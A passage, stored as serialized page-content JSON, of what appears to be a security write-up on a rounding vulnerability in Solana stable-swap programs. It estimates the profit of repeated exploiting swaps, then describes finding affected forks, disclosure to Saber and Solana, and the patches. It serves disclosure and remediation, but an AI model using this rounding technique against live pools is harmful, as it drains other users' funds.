",{"type":21,"tag":39,"props":4736,"children":4737},{},[4738],{"type":26,"value":4739},"is",{"type":26,"value":4741}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":21,"tag":22,"props":4743,"children":4744},{},[4745],{"type":21,"tag":66,"props":4746,"children":4750},{"className":4747},[4748,4749],"language-math","math-inline",[4751],{"type":21,"tag":85,"props":4752,"children":4755},{"className":4753},[4754],"katex",[4756],{"type":21,"tag":85,"props":4757,"children":4761},{"className":4758,"ariaHidden":4760},[4759],"katex-html","true",[4762,4871,4927,4967],{"type":21,"tag":85,"props":4763,"children":4766},{"className":4764},[4765],"base",[4767,4773,4780,4844,4854,4860,4867],{"type":21,"tag":85,"props":4768,"children":4772},{"className":4769,"style":4771},[4770],"strut","height:0.8141em;",[],{"type":21,"tag":85,"props":4774,"children":4777},{"className":4775},[4776],"mord",[4778],{"type":26,"value":4779},"1",{"type":21,"tag":85,"props":4781,"children":4783},{"className":4782},[4776],[4784,4790],{"type":21,"tag":85,"props":4785,"children":4787},{"className":4786},[4776],[4788],{"type":26,"value":4789},"0",{"type":21,"tag":85,"props":4791,"children":4794},{"className":4792},[4793],"msupsub",[4795],{"type":21,"tag":85,"props":4796,"children":4799},{"className":4797},[4798],"vlist-t",[4800],{"type":21,"tag":85,"props":4801,"children":4804},{"className":4802},[4803],"vlist-r",[4805],{"type":21,"tag":85,"props":4806,"children":4809},{"className":4807,"style":4771},[4808],"vlist",[4810],{"type":21,"tag":85,"props":4811,"children":4813},{"style":4812},"top:-3.063em;margin-right:0.05em;",[4814,4820],{"type":21,"tag":85,"props":4815,"children":4819},{"className":4816,"style":4818},[4817],"pstrut","height:2.7em;",[],{"type":21,"tag":85,"props":4821,"children":4827},{"className":4822},[4823,4824,4825,4826],"sizing","reset-size6","size3","mtight",[4828],{"type":21,"tag":85,"props":4829,"children":4831},{"className":4830},[4776,4826],[4832,4838],{"type":21,"tag":85,"props":4833,"children":4835},{"className":4834},[4776,4826],[4836],{"type":26,"value":4837},"−",{"type":21,"tag":85,"props":4839,"children":4841},{"className":4840},[4776,4826],[4842],{"type":26,"value":4843},"8",{"type":21,"tag":85,"props":4845,"children":4847},{"className":4846},[4776,26],[4848],{"type":21,"tag":85,"props":4849,"children":4851},{"className":4850},[4776],[4852],{"type":26,"value":4853}," BTC",{"type":21,"tag":85,"props":4855,"children":4859},{"className":4856,"style":4858},[4857],"mspace","margin-right:0.2222em;",[],{"type":21,"tag":85,"props":4861,"children":4864},{"className":4862},[4863],"mbin",[4865],{"type":26,"value":4866},"∗",{"type":21,"tag":85,"props":4868,"children":4870},{"className":4869,"style":4858},[4857],[],{"type":21,"tag":85,"props":4872,"children":4874},{"className":4873},[4765],[4875,4880,4886,4893,4898,4904,4914,4918,4923],{"type":21,"tag":85,"props":4876,"children":4879},{"className":4877,"style":4878},[4770],"height:1em;vertical-align:-0.25em;",[],{"type":21,"tag":85,"props":4881,"children":4883},{"className":4882},[4776],[4884],{"type":26,"value":4885},"$41",{"type":21,"tag":85,"props":4887,"children":4890},{"className":4888},[4889],"mpunct",[4891],{"type":26,"value":4892},",",{"type":21,"tag":85,"props":4894,"children":4897},{"className":4895,"style":4896},[4857],"margin-right:0.1667em;",[],{"type":21,"tag":85,"props":4899,"children":4901},{"className":4900},[4776],[4902],{"type":26,"value":4903},"400/",{"type":21,"tag":85,"props":4905,"children":4907},{"className":4906},[4776,26],[4908],{"type":21,"tag":85,"props":4909,"children":4911},{"className":4910},[4776],[4912],{"type":26,"value":4913},"BTC",{"type":21,"tag":85,"props":4915,"children":4917},{"className":4916,"style":4858},[4857],[],{"type":21,"tag":85,"props":4919,"children":4921},{"className":4920},[4863],[4922],{"type":26,"value":4866},{"type":21,"tag":85,"props":4924,"children":4926},{"className":4925,"style":4858},[4857],[],{"type":21,"tag":85,"props":4928,"children":4930},{"className":4929},[4765],[4931,4936,4942,4952,4957,4963],{"type":21,"tag":85,"props":4932,"children":4935},{"className":4933,"style":4934},[4770],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":21,"tag":85,"props":4937,"children":4939},{"className":4938},[4776],[4940],{"type":26,"value":4941},"150",{"type":21,"tag":85,"props":4943,"children":4945},{"className":4944},[4776,26],[4946],{"type":21,"tag":85,"props":4947,"children":4949},{"className":4948},[4776],[4950],{"type":26,"value":4951}," swaps",{"type":21,"tag":85,"props":4953,"children":4956},{"className":4954,"style":4955},[4857],"margin-right:0.2778em;",[],{"type":21,"tag":85,"props":4958,"children":4961},{"className":4959},[4960],"mrel",[4962],{"type":26,"value":741},{"type":21,"tag":85,"props":4964,"children":4966},{"className":4965,"style":4955},[4857],[],{"type":21,"tag":85,"props":4968,"children":4970},{"className":4969},[4765],[4971,4976],{"type":21,"tag":85,"props":4972,"children":4975},{"className":4973,"style":4974},[4770],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":21,"tag":85,"props":4977,"children":4979},{"className":4978},[4776],[4980],{"type":26,"value":4981},"$0.0621",{"type":21,"tag":22,"props":4983,"children":4984},{},[4985],{"type":26,"value":4986},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":21,"tag":22,"props":4988,"children":4989},{},[4990],{"type":26,"value":4991},"We're well on our way to becoming a millionaire!",{"type":21,"tag":54,"props":4993,"children":4995},{"id":4994},"patch",[4996],{"type":26,"value":4997},"Patch",{"type":21,"tag":22,"props":4999,"children":5000},{},[5001],{"type":26,"value":5002},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":21,"tag":22,"props":5004,"children":5005},{},[5006],{"type":26,"value":5007},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":21,"tag":75,"props":5009,"children":5013},{"code":5010,"language":5011,"meta":7,"className":5012,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[5014],{"type":21,"tag":66,"props":5015,"children":5016},{"__ignoreMap":7},[5017],{"type":21,"tag":85,"props":5018,"children":5019},{"class":87,"line":88},[5020,5024,5030,5035,5040,5045,5050],{"type":21,"tag":85,"props":5021,"children":5022},{"style":1021},[5023],{"type":26,"value":3659},{"type":21,"tag":85,"props":5025,"children":5027},{"style":5026},"--shiki-default:#CE9178",[5028],{"type":26,"value":5029}," logs",{"type":21,"tag":85,"props":5031,"children":5032},{"style":5026},[5033],{"type":26,"value":5034}," -um",{"type":21,"tag":85,"props":5036,"children":5037},{"style":169},[5038],{"type":26,"value":5039}," |",{"type":21,"tag":85,"props":5041,"children":5042},{"style":1021},[5043],{"type":26,"value":5044}," grep",{"type":21,"tag":85,"props":5046,"children":5047},{"style":5026},[5048],{"type":26,"value":5049}," 'Instruction: Swap'",{"type":21,"tag":85,"props":5051,"children":5052},{"style":5026},[5053],{"type":26,"value":5054}," -B1\n",{"type":21,"tag":22,"props":5056,"children":5057},{},[5058],{"type":26,"value":5059},"With some Google dorking, we were able to identify many of these programs.",{"type":21,"tag":75,"props":5061,"children":5063},{"code":5062},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ  - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ  - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr  - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ  - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1  - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8  - Swap Program\n",[5064],{"type":21,"tag":66,"props":5065,"children":5066},{"__ignoreMap":7},[5067],{"type":26,"value":5062},{"type":21,"tag":22,"props":5069,"children":5070},{},[5071],{"type":26,"value":5072},"Now it was time to contact these teams.",{"type":21,"tag":22,"props":5074,"children":5075},{},[5076],{"type":26,"value":5077},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":21,"tag":22,"props":5079,"children":5080},{},[5081],{"type":26,"value":5082},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":21,"tag":75,"props":5084,"children":5086},{"code":5085,"language":79,"meta":7,"className":77,"style":7},"-        let dy = swap_destination_amount.checked_sub(y)?;\n+        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+        let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[5087],{"type":21,"tag":66,"props":5088,"children":5089},{"__ignoreMap":7},[5090,5144,5157],{"type":21,"tag":85,"props":5091,"children":5092},{"class":87,"line":88},[5093,5098,5102,5107,5111,5116,5120,5124,5128,5132,5136,5140],{"type":21,"tag":85,"props":5094,"children":5095},{"style":169},[5096],{"type":26,"value":5097},"-",{"type":21,"tag":85,"props":5099,"children":5100},{"style":102},[5101],{"type":26,"value":1931},{"type":21,"tag":85,"props":5103,"children":5104},{"style":120},[5105],{"type":26,"value":5106}," dy",{"type":21,"tag":85,"props":5108,"children":5109},{"style":169},[5110],{"type":26,"value":1941},{"type":21,"tag":85,"props":5112,"children":5113},{"style":120},[5114],{"type":26,"value":5115}," swap_destination_amount",{"type":21,"tag":85,"props":5117,"children":5118},{"style":169},[5119],{"type":26,"value":73},{"type":21,"tag":85,"props":5121,"children":5122},{"style":1021},[5123],{"type":26,"value":4007},{"type":21,"tag":85,"props":5125,"children":5126},{"style":114},[5127],{"type":26,"value":1439},{"type":21,"tag":85,"props":5129,"children":5130},{"style":120},[5131],{"type":26,"value":3886},{"type":21,"tag":85,"props":5133,"children":5134},{"style":114},[5135],{"type":26,"value":1900},{"type":21,"tag":85,"props":5137,"children":5138},{"style":169},[5139],{"type":26,"value":3927},{"type":21,"tag":85,"props":5141,"children":5142},{"style":114},[5143],{"type":26,"value":2535},{"type":21,"tag":85,"props":5145,"children":5146},{"class":87,"line":98},[5147,5152],{"type":21,"tag":85,"props":5148,"children":5149},{"style":169},[5150],{"type":26,"value":5151},"+",{"type":21,"tag":85,"props":5153,"children":5154},{"style":92},[5155],{"type":26,"value":5156},"        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":21,"tag":85,"props":5158,"children":5159},{"class":87,"line":151},[5160,5164,5168,5172,5176,5180,5184,5188,5192,5196,5200,5204,5208,5212,5216,5220,5224],{"type":21,"tag":85,"props":5161,"children":5162},{"style":169},[5163],{"type":26,"value":5151},{"type":21,"tag":85,"props":5165,"children":5166},{"style":102},[5167],{"type":26,"value":1931},{"type":21,"tag":85,"props":5169,"children":5170},{"style":120},[5171],{"type":26,"value":5106},{"type":21,"tag":85,"props":5173,"children":5174},{"style":169},[5175],{"type":26,"value":1941},{"type":21,"tag":85,"props":5177,"children":5178},{"style":120},[5179],{"type":26,"value":5115},{"type":21,"tag":85,"props":5181,"children":5182},{"style":169},[5183],{"type":26,"value":73},{"type":21,"tag":85,"props":5185,"children":5186},{"style":1021},[5187],{"type":26,"value":4007},{"type":21,"tag":85,"props":5189,"children":5190},{"style":114},[5191],{"type":26,"value":1439},{"type":21,"tag":85,"props":5193,"children":5194},{"style":120},[5195],{"type":26,"value":3886},{"type":21,"tag":85,"props":5197,"children":5198},{"style":114},[5199],{"type":26,"value":1900},{"type":21,"tag":85,"props":5201,"children":5202},{"style":169},[5203],{"type":26,"value":3904},{"type":21,"tag":85,"props":5205,"children":5206},{"style":1021},[5207],{"type":26,"value":4007},{"type":21,"tag":85,"props":5209,"children":5210},{"style":114},[5211],{"type":26,"value":1439},{"type":21,"tag":85,"props":5213,"children":5214},{"style":2285},[5215],{"type":26,"value":4779},{"type":21,"tag":85,"props":5217,"children":5218},{"style":114},[5219],{"type":26,"value":1900},{"type":21,"tag":85,"props":5221,"children":5222},{"style":169},[5223],{"type":26,"value":3927},{"type":21,"tag":85,"props":5225,"children":5226},{"style":114},[5227],{"type":26,"value":2535},{"type":21,"tag":22,"props":5229,"children":5230},{},[5231,5233,5240],{"type":26,"value":5232},"For reference, here is the ",{"type":21,"tag":335,"props":5234,"children":5237},{"href":5235,"rel":5236},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[339],[5238],{"type":26,"value":5239},"Curve.fi implementation",{"type":26,"value":73},{"type":21,"tag":75,"props":5242,"children":5246},{"code":5243,"language":5244,"meta":7,"className":5245,"style":7},"    dy: uint256 = xp[j] - y - 1  # -1 just in case there were some rounding errors\n    dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[5247],{"type":21,"tag":66,"props":5248,"children":5249},{"__ignoreMap":7},[5250,5311],{"type":21,"tag":85,"props":5251,"children":5252},{"class":87,"line":88},[5253,5258,5262,5267,5271,5276,5280,5285,5289,5293,5298,5302,5306],{"type":21,"tag":85,"props":5254,"children":5255},{"style":114},[5256],{"type":26,"value":5257},"    dy",{"type":21,"tag":85,"props":5259,"children":5260},{"style":169},[5261],{"type":26,"value":172},{"type":21,"tag":85,"props":5263,"children":5264},{"style":108},[5265],{"type":26,"value":5266}," uint256",{"type":21,"tag":85,"props":5268,"children":5269},{"style":169},[5270],{"type":26,"value":1941},{"type":21,"tag":85,"props":5272,"children":5273},{"style":114},[5274],{"type":26,"value":5275}," xp[j] ",{"type":21,"tag":85,"props":5277,"children":5278},{"style":169},[5279],{"type":26,"value":5097},{"type":21,"tag":85,"props":5281,"children":5282},{"style":114},[5283],{"type":26,"value":5284}," y ",{"type":21,"tag":85,"props":5286,"children":5287},{"style":169},[5288],{"type":26,"value":5097},{"type":21,"tag":85,"props":5290,"children":5291},{"style":2285},[5292],{"type":26,"value":3279},{"type":21,"tag":85,"props":5294,"children":5295},{"style":114},[5296],{"type":26,"value":5297},"  # ",{"type":21,"tag":85,"props":5299,"children":5300},{"style":169},[5301],{"type":26,"value":5097},{"type":21,"tag":85,"props":5303,"children":5304},{"style":2285},[5305],{"type":26,"value":4779},{"type":21,"tag":85,"props":5307,"children":5308},{"style":114},[5309],{"type":26,"value":5310}," just in case there were some rounding errors\n",{"type":21,"tag":85,"props":5312,"children":5313},{"class":87,"line":98},[5314,5319,5323,5327,5331,5336,5340,5345,5350],{"type":21,"tag":85,"props":5315,"children":5316},{"style":114},[5317],{"type":26,"value":5318},"    dy_fee",{"type":21,"tag":85,"props":5320,"children":5321},{"style":169},[5322],{"type":26,"value":172},{"type":21,"tag":85,"props":5324,"children":5325},{"style":108},[5326],{"type":26,"value":5266},{"type":21,"tag":85,"props":5328,"children":5329},{"style":169},[5330],{"type":26,"value":1941},{"type":21,"tag":85,"props":5332,"children":5333},{"style":114},[5334],{"type":26,"value":5335}," dy ",{"type":21,"tag":85,"props":5337,"children":5338},{"style":169},[5339],{"type":26,"value":3052},{"type":21,"tag":85,"props":5341,"children":5342},{"style":114},[5343],{"type":26,"value":5344}," self.fee ",{"type":21,"tag":85,"props":5346,"children":5347},{"style":169},[5348],{"type":26,"value":5349},"/",{"type":21,"tag":85,"props":5351,"children":5352},{"style":114},[5353],{"type":26,"value":5354}," FEE_DENOMINATOR\n",{"type":21,"tag":22,"props":5356,"children":5357},{},[5358,5360,5367],{"type":26,"value":5359},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":21,"tag":335,"props":5361,"children":5364},{"href":5362,"rel":5363},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[339],[5365],{"type":26,"value":5366},"original commit",{"type":26,"value":5368},", not as an additional security patch.",{"type":21,"tag":75,"props":5370,"children":5372},{"code":5371},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate:   Mon Aug 31 02:35:30 2020 +0300\n\n    feat: add base pool without lending\n",[5373],{"type":21,"tag":66,"props":5374,"children":5375},{"__ignoreMap":7},[5376],{"type":26,"value":5371},{"type":21,"tag":22,"props":5378,"children":5379},{},[5380,5382,5389],{"type":26,"value":5381},"The commit adding stable swaps to SPL was ",{"type":21,"tag":335,"props":5383,"children":5386},{"href":5384,"rel":5385},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[339],[5387],{"type":26,"value":5388},"made a few months later",{"type":26,"value":5390},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":21,"tag":75,"props":5392,"children":5394},{"code":5393},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate:   Tue Nov 17 15:13:18 2020 +0200\n\n    Added stable curve invariant to the token swap smart contract (#838)\n\n    * Added stable curve invariant to the token swap smart contract\n\n    * Fixed formatting\n\n    * Added missing stable curve constraints\n\n    * Symbol renames to make math clearer\n\n    * Small refactoring according to PR comments, fixes for JS tests\n",[5395],{"type":21,"tag":66,"props":5396,"children":5397},{"__ignoreMap":7},[5398],{"type":26,"value":5393},{"type":21,"tag":22,"props":5400,"children":5401},{},[5402,5404,5411],{"type":26,"value":5403},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":21,"tag":335,"props":5405,"children":5408},{"href":5406,"rel":5407},"https://github.com/solana-labs/solana-program-library",[339],[5409],{"type":26,"value":5410},"the Solana Program Library",{"type":26,"value":73},{"type":21,"tag":22,"props":5413,"children":5414},{},[5415],{"type":26,"value":5416},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":21,"tag":22,"props":5418,"children":5419},{},[5420,5427],{"type":21,"tag":335,"props":5421,"children":5424},{"href":5422,"rel":5423},"https://github.com/joncinque",[339],[5425],{"type":26,"value":5426},"@joncinque",{"type":26,"value":5428}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":21,"tag":3712,"props":5430,"children":5431},{},[5432],{"type":21,"tag":22,"props":5433,"children":5434},{},[5435],{"type":26,"value":5436},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":21,"tag":22,"props":5438,"children":5439},{},[5440,5442,5449,5451,5457],{"type":26,"value":5441},"After some thought, he helped ",{"type":21,"tag":335,"props":5443,"children":5446},{"href":5444,"rel":5445},"https://github.com/solana-labs/solana-program-library/pull/2942",[339],[5447],{"type":26,"value":5448},"introduce a PR",{"type":26,"value":5450}," which ceilings the computation in ",{"type":21,"tag":66,"props":5452,"children":5454},{"className":5453},[],[5455],{"type":26,"value":5456},"compute_new_destination_amount",{"type":26,"value":5458}," to correctly round within the stable curve math library.",{"type":21,"tag":75,"props":5460,"children":5462},{"code":5461,"language":79,"meta":7,"className":77,"style":7},"     // Solve for y by approximating: y**2 + b*y = c\n     let mut y_prev: U256;\n     let mut y = d_val;\n     for _ in 0..ITERATIONS {\n-        y_prev = y;\n-        y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n-            .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n-        if y == y_prev {\n+        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+        if y_new == y {\n             break;\n+        } else {\n+            y = y_new;\n         }\n",[5463],{"type":21,"tag":66,"props":5464,"children":5465},{"__ignoreMap":7},[5466,5474,5504,5531,5559,5583,5659,5763,5790,5885,5988,6015,6027,6046,6069],{"type":21,"tag":85,"props":5467,"children":5468},{"class":87,"line":88},[5469],{"type":21,"tag":85,"props":5470,"children":5471},{"style":92},[5472],{"type":26,"value":5473},"     // Solve for y by approximating: y**2 + b*y = c\n",{"type":21,"tag":85,"props":5475,"children":5476},{"class":87,"line":98},[5477,5482,5486,5491,5495,5500],{"type":21,"tag":85,"props":5478,"children":5479},{"style":102},[5480],{"type":26,"value":5481},"     let",{"type":21,"tag":85,"props":5483,"children":5484},{"style":102},[5485],{"type":26,"value":3783},{"type":21,"tag":85,"props":5487,"children":5488},{"style":120},[5489],{"type":26,"value":5490}," y_prev",{"type":21,"tag":85,"props":5492,"children":5493},{"style":169},[5494],{"type":26,"value":172},{"type":21,"tag":85,"props":5496,"children":5497},{"style":108},[5498],{"type":26,"value":5499}," U256",{"type":21,"tag":85,"props":5501,"children":5502},{"style":114},[5503],{"type":26,"value":2535},{"type":21,"tag":85,"props":5505,"children":5506},{"class":87,"line":151},[5507,5511,5515,5519,5523,5527],{"type":21,"tag":85,"props":5508,"children":5509},{"style":102},[5510],{"type":26,"value":5481},{"type":21,"tag":85,"props":5512,"children":5513},{"style":102},[5514],{"type":26,"value":3783},{"type":21,"tag":85,"props":5516,"children":5517},{"style":120},[5518],{"type":26,"value":3788},{"type":21,"tag":85,"props":5520,"children":5521},{"style":169},[5522],{"type":26,"value":1941},{"type":21,"tag":85,"props":5524,"children":5525},{"style":120},[5526],{"type":26,"value":3797},{"type":21,"tag":85,"props":5528,"children":5529},{"style":114},[5530],{"type":26,"value":2535},{"type":21,"tag":85,"props":5532,"children":5533},{"class":87,"line":160},[5534,5539,5543,5547,5551,5555],{"type":21,"tag":85,"props":5535,"children":5536},{"style":2885},[5537],{"type":26,"value":5538},"     for",{"type":21,"tag":85,"props":5540,"children":5541},{"style":120},[5542],{"type":26,"value":3814},{"type":21,"tag":85,"props":5544,"children":5545},{"style":102},[5546],{"type":26,"value":2989},{"type":21,"tag":85,"props":5548,"children":5549},{"style":2285},[5550],{"type":26,"value":2830},{"type":21,"tag":85,"props":5552,"children":5553},{"style":169},[5554],{"type":26,"value":2998},{"type":21,"tag":85,"props":5556,"children":5557},{"style":114},[5558],{"type":26,"value":3831},{"type":21,"tag":85,"props":5560,"children":5561},{"class":87,"line":185},[5562,5566,5571,5575,5579],{"type":21,"tag":85,"props":5563,"children":5564},{"style":169},[5565],{"type":26,"value":5097},{"type":21,"tag":85,"props":5567,"children":5568},{"style":120},[5569],{"type":26,"value":5570},"        y_prev",{"type":21,"tag":85,"props":5572,"children":5573},{"style":169},[5574],{"type":26,"value":1941},{"type":21,"tag":85,"props":5576,"children":5577},{"style":120},[5578],{"type":26,"value":3788},{"type":21,"tag":85,"props":5580,"children":5581},{"style":114},[5582],{"type":26,"value":2535},{"type":21,"tag":85,"props":5584,"children":5585},{"class":87,"line":501},[5586,5590,5595,5599,5603,5607,5611,5615,5619,5623,5627,5631,5635,5639,5643,5647,5651,5655],{"type":21,"tag":85,"props":5587,"children":5588},{"style":169},[5589],{"type":26,"value":5097},{"type":21,"tag":85,"props":5591,"children":5592},{"style":120},[5593],{"type":26,"value":5594},"        y",{"type":21,"tag":85,"props":5596,"children":5597},{"style":169},[5598],{"type":26,"value":1941},{"type":21,"tag":85,"props":5600,"children":5601},{"style":114},[5602],{"type":26,"value":717},{"type":21,"tag":85,"props":5604,"children":5605},{"style":1021},[5606],{"type":26,"value":3873},{"type":21,"tag":85,"props":5608,"children":5609},{"style":114},[5610],{"type":26,"value":1439},{"type":21,"tag":85,"props":5612,"children":5613},{"style":169},[5614],{"type":26,"value":2238},{"type":21,"tag":85,"props":5616,"children":5617},{"style":120},[5618],{"type":26,"value":3886},{"type":21,"tag":85,"props":5620,"children":5621},{"style":114},[5622],{"type":26,"value":256},{"type":21,"tag":85,"props":5624,"children":5625},{"style":2285},[5626],{"type":26,"value":3895},{"type":21,"tag":85,"props":5628,"children":5629},{"style":114},[5630],{"type":26,"value":1900},{"type":21,"tag":85,"props":5632,"children":5633},{"style":169},[5634],{"type":26,"value":3904},{"type":21,"tag":85,"props":5636,"children":5637},{"style":1021},[5638],{"type":26,"value":3909},{"type":21,"tag":85,"props":5640,"children":5641},{"style":114},[5642],{"type":26,"value":1439},{"type":21,"tag":85,"props":5644,"children":5645},{"style":120},[5646],{"type":26,"value":3918},{"type":21,"tag":85,"props":5648,"children":5649},{"style":114},[5650],{"type":26,"value":1900},{"type":21,"tag":85,"props":5652,"children":5653},{"style":169},[5654],{"type":26,"value":3927},{"type":21,"tag":85,"props":5656,"children":5657},{"style":114},[5658],{"type":26,"value":2485},{"type":21,"tag":85,"props":5660,"children":5661},{"class":87,"line":697},[5662,5666,5670,5675,5679,5683,5687,5691,5695,5699,5703,5707,5711,5715,5719,5723,5727,5731,5735,5739,5743,5747,5751,5755,5759],{"type":21,"tag":85,"props":5663,"children":5664},{"style":169},[5665],{"type":26,"value":5097},{"type":21,"tag":85,"props":5667,"children":5668},{"style":169},[5669],{"type":26,"value":3939},{"type":21,"tag":85,"props":5671,"children":5672},{"style":1021},[5673],{"type":26,"value":5674},"checked_div",{"type":21,"tag":85,"props":5676,"children":5677},{"style":114},[5678],{"type":26,"value":1439},{"type":21,"tag":85,"props":5680,"children":5681},{"style":1021},[5682],{"type":26,"value":3953},{"type":21,"tag":85,"props":5684,"children":5685},{"style":114},[5686],{"type":26,"value":1439},{"type":21,"tag":85,"props":5688,"children":5689},{"style":169},[5690],{"type":26,"value":2238},{"type":21,"tag":85,"props":5692,"children":5693},{"style":120},[5694],{"type":26,"value":3886},{"type":21,"tag":85,"props":5696,"children":5697},{"style":114},[5698],{"type":26,"value":256},{"type":21,"tag":85,"props":5700,"children":5701},{"style":2285},[5702],{"type":26,"value":3895},{"type":21,"tag":85,"props":5704,"children":5705},{"style":114},[5706],{"type":26,"value":1900},{"type":21,"tag":85,"props":5708,"children":5709},{"style":169},[5710],{"type":26,"value":3904},{"type":21,"tag":85,"props":5712,"children":5713},{"style":1021},[5714],{"type":26,"value":3909},{"type":21,"tag":85,"props":5716,"children":5717},{"style":114},[5718],{"type":26,"value":1439},{"type":21,"tag":85,"props":5720,"children":5721},{"style":120},[5722],{"type":26,"value":3994},{"type":21,"tag":85,"props":5724,"children":5725},{"style":114},[5726],{"type":26,"value":1900},{"type":21,"tag":85,"props":5728,"children":5729},{"style":169},[5730],{"type":26,"value":3904},{"type":21,"tag":85,"props":5732,"children":5733},{"style":1021},[5734],{"type":26,"value":4007},{"type":21,"tag":85,"props":5736,"children":5737},{"style":114},[5738],{"type":26,"value":1439},{"type":21,"tag":85,"props":5740,"children":5741},{"style":120},[5742],{"type":26,"value":4016},{"type":21,"tag":85,"props":5744,"children":5745},{"style":114},[5746],{"type":26,"value":1900},{"type":21,"tag":85,"props":5748,"children":5749},{"style":169},[5750],{"type":26,"value":3927},{"type":21,"tag":85,"props":5752,"children":5753},{"style":114},[5754],{"type":26,"value":1900},{"type":21,"tag":85,"props":5756,"children":5757},{"style":169},[5758],{"type":26,"value":3927},{"type":21,"tag":85,"props":5760,"children":5761},{"style":114},[5762],{"type":26,"value":2535},{"type":21,"tag":85,"props":5764,"children":5765},{"class":87,"line":706},[5766,5770,5774,5778,5782,5786],{"type":21,"tag":85,"props":5767,"children":5768},{"style":169},[5769],{"type":26,"value":5097},{"type":21,"tag":85,"props":5771,"children":5772},{"style":2885},[5773],{"type":26,"value":4044},{"type":21,"tag":85,"props":5775,"children":5776},{"style":120},[5777],{"type":26,"value":3788},{"type":21,"tag":85,"props":5779,"children":5780},{"style":169},[5781],{"type":26,"value":2282},{"type":21,"tag":85,"props":5783,"children":5784},{"style":120},[5785],{"type":26,"value":5490},{"type":21,"tag":85,"props":5787,"children":5788},{"style":114},[5789],{"type":26,"value":148},{"type":21,"tag":85,"props":5791,"children":5792},{"class":87,"line":1100},[5793,5797,5801,5805,5809,5813,5817,5821,5825,5829,5833,5837,5841,5845,5849,5853,5857,5861,5865,5869,5873,5877,5881],{"type":21,"tag":85,"props":5794,"children":5795},{"style":169},[5796],{"type":26,"value":5151},{"type":21,"tag":85,"props":5798,"children":5799},{"style":102},[5800],{"type":26,"value":1931},{"type":21,"tag":85,"props":5802,"children":5803},{"style":114},[5804],{"type":26,"value":717},{"type":21,"tag":85,"props":5806,"children":5807},{"style":120},[5808],{"type":26,"value":3847},{"type":21,"tag":85,"props":5810,"children":5811},{"style":114},[5812],{"type":26,"value":256},{"type":21,"tag":85,"props":5814,"children":5815},{"style":120},[5816],{"type":26,"value":3856},{"type":21,"tag":85,"props":5818,"children":5819},{"style":114},[5820],{"type":26,"value":736},{"type":21,"tag":85,"props":5822,"children":5823},{"style":169},[5824],{"type":26,"value":741},{"type":21,"tag":85,"props":5826,"children":5827},{"style":114},[5828],{"type":26,"value":717},{"type":21,"tag":85,"props":5830,"children":5831},{"style":1021},[5832],{"type":26,"value":3873},{"type":21,"tag":85,"props":5834,"children":5835},{"style":114},[5836],{"type":26,"value":1439},{"type":21,"tag":85,"props":5838,"children":5839},{"style":169},[5840],{"type":26,"value":2238},{"type":21,"tag":85,"props":5842,"children":5843},{"style":120},[5844],{"type":26,"value":3886},{"type":21,"tag":85,"props":5846,"children":5847},{"style":114},[5848],{"type":26,"value":256},{"type":21,"tag":85,"props":5850,"children":5851},{"style":2285},[5852],{"type":26,"value":3895},{"type":21,"tag":85,"props":5854,"children":5855},{"style":114},[5856],{"type":26,"value":1900},{"type":21,"tag":85,"props":5858,"children":5859},{"style":169},[5860],{"type":26,"value":3904},{"type":21,"tag":85,"props":5862,"children":5863},{"style":1021},[5864],{"type":26,"value":3909},{"type":21,"tag":85,"props":586